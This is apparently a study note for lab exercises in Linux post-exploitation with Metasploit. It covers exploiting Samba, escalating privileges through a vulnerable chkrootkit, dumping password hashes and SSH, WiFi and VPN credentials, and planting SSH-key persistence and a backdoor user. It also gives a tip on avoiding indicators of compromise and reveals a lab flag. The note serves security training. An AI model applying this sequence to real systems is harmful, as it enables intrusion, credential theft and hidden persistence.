githubEdit

🔬Linux Post Exploitation - MSF

Lab 1

🔬 Post Exploitation Lab Iarrow-up-right

  • Target IP: 192.215.55.3

  • Metasploit post/linux/gather/ modules

ip -br -c a
	eth1@if165838 UP 192.215.55.2/24 
service postgresql start && msfconsole -q
db_status
setg RHOSTS 192.215.55.3
setg RHOST 192.215.55.3
workspace -a Linux_PostExp
  • Perform an nmap scan directly into MSF

db_nmap -sV 192.215.55.3
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Exploitation

search type:exploit name:samba
use exploit/linux/samba/is_known_pipename
options
run
  • Upgrade the shell cmd/unix sessions to a Meterpreter session

  • Some local enumeration

Some Post Exploitation

  • Enumerate apps and services configuration files

Metasploit - post/linux/gather/enum_configs
  • Enumerate system environment variables

Metasploit - post/multi/gather/env
  • Enumerate network information

Metasploit - post/linux/gather/enum_network
  • Check for protection/security systems

Metasploit - post/linux/gather/enum_protections
  • Enumerate the system

Metasploit - post/linux/gather/enum_system
  • Check if the target is a VM or a container

Metasploit - post/linux/gather/checkcontainer

📌 A Docker container can be exploited to break out of it and gain access to the host system.

  • Enumerate VM

Metasploit - post/linux/gather/checkvm
  • Enumerate users history

Metasploit - post/linux/gather/enum_users_history

Lab 2 - Privilege Escalation

🔬 Privilege Escalation - Rootkit Scannerarrow-up-right

  • Perform an nmap scan directly into MSF

Exploitation - SSH

ps aux
  • Investigate the /bin/check-down binary

cat /bin/check-down

📌 The /usr/local/bin/chkrootkit/chkrootkit binary is executed every 60 seconds.

Chkrootkit < 0.50 is vulnerable to local privilege escalation vulnerabilityarrow-up-right

  • Check chkrootkit version

  • Background both the shell and the meterpreter session with CTRL+Z

Privilege Escalation

  • The technique will depend on the version of the target Linux Kernel and the distribution version.

    • It is necessary to manually enumerate a privesc vulnerable program, Chkrootkit v.0.49 in this case

exploit/unix/local/chkrootkit
chevron-rightReveal Flag: 🚩hashtag

9db8bf8f483ff50857f26f9bd636bed6


Lab 3 - Dumping Hashes

🔬 Post Exploitation Lab IIarrow-up-right

  • Target IP: 192.252.196.3

  • Metasploit post/linux/gather/ credentials dumping modules

Exploitation

  • Upgrade the shell cmd/unix sessions to a Meterpreter session

  • Linux user account hashes can be dumped using the privileged root user.

  • Terminate the shell session and background the meterpreter session.

Hashdump

📌 Linux password hashes are stored in the /etc/shadow file, accessible only by a user with root privileges.

  • In newer Linux, the hashed passwords are stored in the /etc/shadow file. In turn, the hashed password field in the /etc/passwd file is filled with the x character. /etc/passwd is readable by all the users.

  • Linux users' passphrases are hashed using the cryptarrow-up-right function. The hashed passphrase follows a specific format: $id$salt$hashedpassword

  • post/linux/gather/hashdump module need to be run manually to dump the user account hashes and unshadow them

    • A hash can be cracked (with John the Ripper) or stored for later use

Metasploit - post/linux/gather/hashdump
loot

Some Post Exploitation

  • Enumerate ssh directories

Metasploit - post/multi/gather/ssh_creds
  • Enumerate users' .ecrypts directories

Metasploit - post/linux/gather/ecryptfs_creds
  • Enumerate WiFi credentials

Metasploit - post/linux/gather/enum_psk
  • Check for PPTP VPN chap-secrets credentials

Metasploit - post/linux/gather/pptpd_chap_secrets
  • Perform SSH Persistence

Metasploit - post/linux/manage/sshkey_persistence

Lab 3 - Persistence

🔬 Same as Privilege Escalation - Rootkit Scannerarrow-up-right

  • Target IP: 192.101.97.3

  • Metasploit post/linux/gather/ credentials dumping modules

Exploitation

  • Upgrade the shell cmd/unix sessions to a Meterpreter session

Privilege Escalation

  • Upgrade the privileged session 3 to a Meterpreter session

  • SESSION 4 is a Meterpreter privileged session

Persistence

  • Create a backdoor user with administrative privileges that can be used to access the target system via SSH

❗ Changing user's password is a strong indicator of compromise, it should not be done.

  • Perform SSH Persistence with a Metasploit persistence modules

Metasploit - post/linux/manage/sshkey_persistence
  • Access the private key and copy the content of the id_rsa file and save it as a new file. Assign the appropriate permissions to the file

  • Exit the msfconsole with command exit -y. All the sessions will be closed.

  • Authenticate to the target with the private key

ssh -i ssh_key root@<TARGET_IP>

Last updated